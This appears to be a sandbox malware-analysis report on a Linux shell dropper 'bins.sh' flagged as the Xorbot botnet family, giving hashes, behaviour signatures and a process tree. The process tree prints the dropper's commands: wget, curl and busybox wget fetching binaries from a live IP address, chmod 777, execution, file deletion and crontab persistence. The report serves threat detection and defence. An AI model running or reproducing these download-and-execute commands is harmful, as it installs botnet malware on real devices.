Analysis
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max time kernel
150s -
max time network
151s -
platform
debian-9_mipsel -
resource
debian9-mipsel-20240226-en -
resource tags
arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem -
submitted
04/12/2024, 02:37
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240226-en
General
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Target
bins.sh
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Size
10KB
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MD5
437a00555767f8c3201fad3f0c8593c4
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SHA1
4e504c7b16ed9c01b17acd57643c6aa2e1dc8996
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SHA256
12201bdbf03e90f7421b3d4c4b612c6e541b1e24313cd2e090787567d3722f44
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SHA512
3caf18ed0ab4540decbb2469237a14ee4874c23e0ad7b93531a1dd4c31e48375ae9793fef3bd53e8dd49a129b37f69476c46cc988a61a8d2ef21bfc7d4e4c1de
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SSDEEP
192:cv4UQmpRVu66kkmhNiumVxXI4xkkmhNd8VxXI4DUQmpRFW:cv4UQmpRc6TmVxXI4ZVxXI4DUQmpRY
Malware Config
Signatures
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resource yara_rule behavioral4/files/fstream-1.dat family_xorbot behavioral4/files/fstream-8.dat family_xorbot behavioral4/files/fstream-9.dat family_xorbot -
Xorbot family
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File and Directory Permissions Modification 1 TTPs 4 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 761 chmod 791 chmod 808 chmod 815 chmod -
Executes dropped EXE 4 IoCs
ioc pid Process /tmp/FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5 762 FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5 /tmp/bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK 792 bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK /tmp/8izFrZGWFJzPZKVmq3eUdi9cJ2XW1mM1cX 809 8izFrZGWFJzPZKVmq3eUdi9cJ2XW1mM1cX /tmp/dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z 816 dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z -
Renames itself 1 IoCs
pid Process 793 bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK -
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/crontabs/tmp.dxByyu crontab -
Enumerates running processes
Discovers information about currently running processes on the system
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description ioc Process File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/23/cmdline bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK File opened for reading /proc/3/cmdline bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK File opened for reading /proc/22/cmdline bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK File opened for reading /proc/165/cmdline bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK File opened for reading /proc/353/cmdline bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK File opened for reading /proc/filesystems crontab File opened for reading /proc/351/cmdline bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK File opened for reading /proc/821/cmdline bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK File opened for reading /proc/5/cmdline bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK File opened for reading /proc/6/cmdline bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK File opened for reading /proc/70/cmdline bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK File opened for reading /proc/774/cmdline bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK File opened for reading /proc/848/cmdline bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK File opened for reading /proc/12/cmdline bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK File opened for reading /proc/387/cmdline bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK File opened for reading /proc/823/cmdline bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK File opened for reading /proc/830/cmdline bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK File opened for reading /proc/9/cmdline bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK File opened for reading /proc/20/cmdline bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK File opened for reading /proc/73/cmdline bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK File opened for reading /proc/703/cmdline bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK File opened for reading /proc/802/cmdline bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK File opened for reading /proc/809/cmdline bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK File opened for reading /proc/17/cmdline bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK File opened for reading /proc/21/cmdline bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK File opened for reading /proc/377/cmdline bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK File opened for reading /proc/801/cmdline bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK File opened for reading /proc/828/cmdline bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK File opened for reading /proc/787/cmdline bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK File opened for reading /proc/4/cmdline bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK File opened for reading /proc/24/cmdline bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK File opened for reading /proc/74/cmdline bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK File opened for reading /proc/225/cmdline bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK File opened for reading /proc/510/cmdline bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK File opened for reading /proc/705/cmdline bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK File opened for reading /proc/706/cmdline bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK File opened for reading /proc/796/cmdline bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK File opened for reading /proc/812/cmdline bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK File opened for reading /proc/813/cmdline bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK File opened for reading /proc/816/cmdline bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK File opened for reading /proc/399/cmdline bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK File opened for reading /proc/16/cmdline bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK File opened for reading /proc/322/cmdline bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK File opened for reading /proc/819/cmdline bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK File opened for reading /proc/824/cmdline bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK File opened for reading /proc/8/cmdline bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK File opened for reading /proc/37/cmdline bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK File opened for reading /proc/150/cmdline bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK File opened for reading /proc/470/cmdline bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK File opened for reading /proc/477/cmdline bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK File opened for reading /proc/798/cmdline bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK File opened for reading /proc/834/cmdline bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK File opened for reading /proc/836/cmdline bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/1/cmdline bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK File opened for reading /proc/7/cmdline bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK File opened for reading /proc/846/cmdline bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK File opened for reading /proc/18/cmdline bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK File opened for reading /proc/69/cmdline bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK File opened for reading /proc/79/cmdline bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK File opened for reading /proc/320/cmdline bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK File opened for reading /proc/filesystems crontab File opened for reading /proc/11/cmdline bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK -
Writes file to tmp directory 8 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5 wget File opened for modification /tmp/FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5 curl File opened for modification /tmp/FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5 busybox File opened for modification /tmp/bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK wget File opened for modification /tmp/bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK curl File opened for modification /tmp/bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK busybox File opened for modification /tmp/8izFrZGWFJzPZKVmq3eUdi9cJ2XW1mM1cX busybox File opened for modification /tmp/dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z busybox
Processes
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/tmp/bins.sh/tmp/bins.sh1⤵PID:708
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/bin/rm/bin/rm bins.sh2⤵PID:711
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/usr/bin/wgetwget http://216.126.231.240/bins/FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD52⤵
- Writes file to tmp directory
PID:717
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/usr/bin/curlcurl -O http://216.126.231.240/bins/FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD52⤵
- Reads runtime system information
- Writes file to tmp directory
PID:737
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD52⤵
- Writes file to tmp directory
PID:758
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/bin/chmodchmod 777 FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD52⤵
- File and Directory Permissions Modification
PID:761
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/tmp/FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5./FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD52⤵
- Executes dropped EXE
PID:762
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/bin/rmrm FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD52⤵PID:766
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/usr/bin/wgetwget http://216.126.231.240/bins/bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK2⤵
- Writes file to tmp directory
PID:767
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/usr/bin/curlcurl -O http://216.126.231.240/bins/bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:778
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK2⤵
- Writes file to tmp directory
PID:789
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/bin/chmodchmod 777 bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK2⤵
- File and Directory Permissions Modification
PID:791
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/tmp/bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK./bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK2⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
PID:792 -
/bin/shsh -c "crontab -l"3⤵PID:794
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/usr/bin/crontabcrontab -l4⤵
- Reads runtime system information
PID:795
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/bin/shsh -c "crontab -"3⤵PID:796
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/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
- Reads runtime system information
PID:797
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/bin/rmrm bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK2⤵PID:799
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/usr/bin/wgetwget http://216.126.231.240/bins/8izFrZGWFJzPZKVmq3eUdi9cJ2XW1mM1cX2⤵PID:802
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/usr/bin/curlcurl -O http://216.126.231.240/bins/8izFrZGWFJzPZKVmq3eUdi9cJ2XW1mM1cX2⤵PID:803
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/8izFrZGWFJzPZKVmq3eUdi9cJ2XW1mM1cX2⤵
- Writes file to tmp directory
PID:804
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/bin/chmodchmod 777 8izFrZGWFJzPZKVmq3eUdi9cJ2XW1mM1cX2⤵
- File and Directory Permissions Modification
PID:808
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/tmp/8izFrZGWFJzPZKVmq3eUdi9cJ2XW1mM1cX./8izFrZGWFJzPZKVmq3eUdi9cJ2XW1mM1cX2⤵
- Executes dropped EXE
PID:809
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/bin/rmrm 8izFrZGWFJzPZKVmq3eUdi9cJ2XW1mM1cX2⤵PID:811
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/usr/bin/wgetwget http://216.126.231.240/bins/dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z2⤵PID:812
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/usr/bin/curlcurl -O http://216.126.231.240/bins/dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z2⤵PID:813
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z2⤵
- Writes file to tmp directory
PID:814
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/bin/chmodchmod 777 dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z2⤵
- File and Directory Permissions Modification
PID:815
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/tmp/dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z./dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z2⤵
- Executes dropped EXE
PID:816
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/bin/rmrm dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z2⤵PID:818
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/usr/bin/wgetwget http://216.126.231.240/bins/i7wnBa0kpJNfw3Qa7N90WDGDAfY2gh6CMl2⤵PID:819
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/usr/bin/curlcurl -O http://216.126.231.240/bins/i7wnBa0kpJNfw3Qa7N90WDGDAfY2gh6CMl2⤵PID:820
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
117KB
MD5849fa04ef88a8e8de32cb2e8538de5fe
SHA1c768af29fe4b6695fff1541623e8bbd1c6f242f7
SHA2568bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
SHA5122d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf
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Filesize
127KB
MD589077b7bd4bcafca7713be43635c4862
SHA1fc02edb8fba29ea8ee99e6157ef8560334530052
SHA25678416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
SHA5121b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1
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Filesize
151KB
MD56c583043d91c55aa470c08c87058e917
SHA1abf65a5b9bba69980278ad09356e53de8bb89439
SHA2562d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
SHA51282ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5
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Filesize
98KB
MD55141342d0df8699fa32a6b066a0c592e
SHA18157673225bd5182f16215e2aa823a25ca2d4fbc
SHA25654302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
SHA512d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801
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Filesize
210B
MD5f745b17452f553dffa67e4b275d9eb9f
SHA146d6dbd8614e8e99e5010b5166271399ea87db2c
SHA25605b47d0d996a5af14fa6f36ef1867467e636484913967076da3ef7cf05193bab
SHA51271a0dc15edf1e269467d63c2fa540fc5f663d661ffc06b7044071f745199f843e02d0fb1104ef5673392cd856d24ed938a1c019df6f5c3a97269aa7dddc52fa6